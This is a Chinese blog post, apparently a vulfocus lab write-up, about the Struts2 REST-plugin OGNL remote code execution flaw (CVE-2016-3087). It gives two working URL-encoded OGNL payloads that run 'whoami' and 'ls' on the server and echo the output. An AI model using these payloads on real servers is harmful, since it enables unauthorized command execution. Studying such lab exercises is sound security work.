vulfocus——struts2代码执行(CVE-2016-3087)

本文详细介绍了Struts2框架中的一个安全漏洞,该漏洞存在于Struts2.3.20到2.3.28版本(除了2.3.20.3和2.3.24.3),当启用REST插件且DynamicMethodInvocation配置为true时,攻击者可能通过恶意OGNL表达式执行任意代码。文章提供了漏洞复现步骤,包括访问特定的URL和使用命令执行POC,强调了这一漏洞对服务器安全的严重威胁。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

描述

Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。

Struts 2.3.20 - Struts Struts 2.3.28 (除2.3.20.3及2.3.24.3)版本,使用REST插件情况下,若启用了Dynamic Method Invocation,可能导致通过恶意表达式在服务器端执行任意代码。

复现

1.打开靶场环境 ,访问web页面

 2.有回显poc(命令执行)

%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23process%3D@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]),%23ros%3D(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())%2C@org.apache.commons.io.IOUtils@copy(%23process.getInputStream()%2C%23ros)%2C%23ros.flush(),%23xx%3d123,%23xx.toString.json?&command=whoami

%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23process%3D@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]),%23ros%3D(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())%2C@org.apache.commons.io.IOUtils@copy(%23process.getInputStream()%2C%23ros)%2C%23ros.flush(),%23xx%3d123,%23xx.toString.json?&command=ls

3.用工具来获取flag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值